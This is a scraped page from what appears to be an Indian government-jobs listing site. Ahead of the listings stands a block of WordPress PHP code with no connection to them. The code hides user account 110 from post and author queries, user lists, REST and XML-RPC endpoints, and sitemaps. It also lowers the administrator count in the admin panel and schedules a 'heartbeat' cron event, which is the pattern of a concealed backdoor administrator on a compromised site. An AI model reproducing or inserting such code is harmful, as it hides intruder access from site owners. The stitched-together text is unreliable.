add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Government Jobs - Page 35 of 52 - Government Exam Alert - Jobs/ Exam Information
Skip to content
cspgcl apprentice recruitment 2023 chhattisgarh 156 apprentice posts CSPGCL CSPDCL online application application fee vacancy detail qualification salary important dates lineman vacancies detail online form www.cspdcl.co.in CSPGCL Apprentice Recruitment 2023 Online Application Form -156 Posts LATEST UPDATE : CSPDCL has issued Recruitment Notification for Apprentice Posts in CSPDCL. Download Notice & Apply from link below…. … Read more
Categories 10th/ Matriculation/ High School Jobs , Apprentice Jobs , Golden Jobs , Government Jobs , ITI Certificate Jobs , State Government Jobs Tags age limit , application fee , Apply Online , apprentice , assistant engineer post , Chhattisgarh State Electricity Board , csphcl , junior engineer post , Online Application , Qualification itbp medical officer recruitment 2023 for 297 posts itbp specialist medical officers recruitment MOSB 2023 online application form Indo-Tibetan Border Police Force itbp mo smo apply online eligibility criteria selection process important dates ITBP Medical Officer Recruitment 2023 COSB Online Application Form LATEST UPDATE : Last Date of Online Applications has extended. Candidates can apply … Read more
Categories Central Government Jobs , Defence Jobs , Golden Jobs , Government Jobs , MBBS/ MD/ Surgeon , Medical Jobs Tags Apply Online , CAPF , Indo Tibetan Border Police Force , ITBP , Medical Officer , Online Application Form nwda ldc recruitment 2023 for 40 posts Apply Online National Water Development Agency NWDA Vacancies for Lower Division Clerk Stenographer Junior Engineer Accountant Posts Online Application Form Eligibility Criteria How to Apply NWDA LDC Recruitment 2023 for JE/ Lower Division Clerk Apply Online Recruitment for the post of Junior Engineer(Civil), Junior Accounts Officer, Draftsman Grade-III, … Read more
Categories 12th/ Intermediate Jobs , Accounts Jobs , B.Com , B.Pharma , B.Sc , BA , BBA , BCA , BE/B.Tech , Central Government Jobs , Clerk/ Stenographer , Diploma Jobs , Government Jobs , Graduation , Other Government Jobs Tags accounts officer , Apply Online , JE , Junior Engineer , LDC , Lower Division Clerk , nwda ldc recruitment 2023 , nwda syllabus 202 , Stenographer , upper division clerk SPMCIL Recruitment 2023 Security Printing Press SPM Narmadapuram Recruitment Notification 2023 Supervisor Translator Junior technician posts Online Application Form fireman Vacancies Exam Date SPMCIL Junior Technician Recruitment 2023 SPM Narmadapuram Apply Online LATEST UPDATE dated 29.11.2022 : Good News !! SPMCIL has issued Notification for Supervisor & Other Various Posts in SPM Narmadapuram. Candidates can … Read more
Categories 10th/ Matriculation/ High School Jobs , 12th/ Intermediate Jobs , Central Government Jobs , Golden Jobs , Government Jobs , Graduation , ITI Certificate Jobs Tags Apply Online , Assistant , office assistant , Technician , Zonal Supervisor bsf constable tradesman recruitment 2023 bsf constable tradesman application form 2023 for 1284 Posts bsf constable tradesman posts state wise vacancies notice download male & female border security force constable vacancies eligibility age limit fee details BSF Constable Tradesman Recruitment 2023 CT TM Application Form JOB UPDATE dated 27.02.2023 : Border Security Force has issued … Read more
Categories 10th/ Matriculation/ High School Jobs , 12th/ Intermediate Jobs , Central Government Jobs , Defence Jobs , Golden Jobs , Government Jobs , Graduation , ITI Certificate Jobs Tags age limit , application form , border security force , BSF , bsf application form download , bsf constable job vacancies , bsf constable salary , bsf constable tradesman recruitment , details of vacancies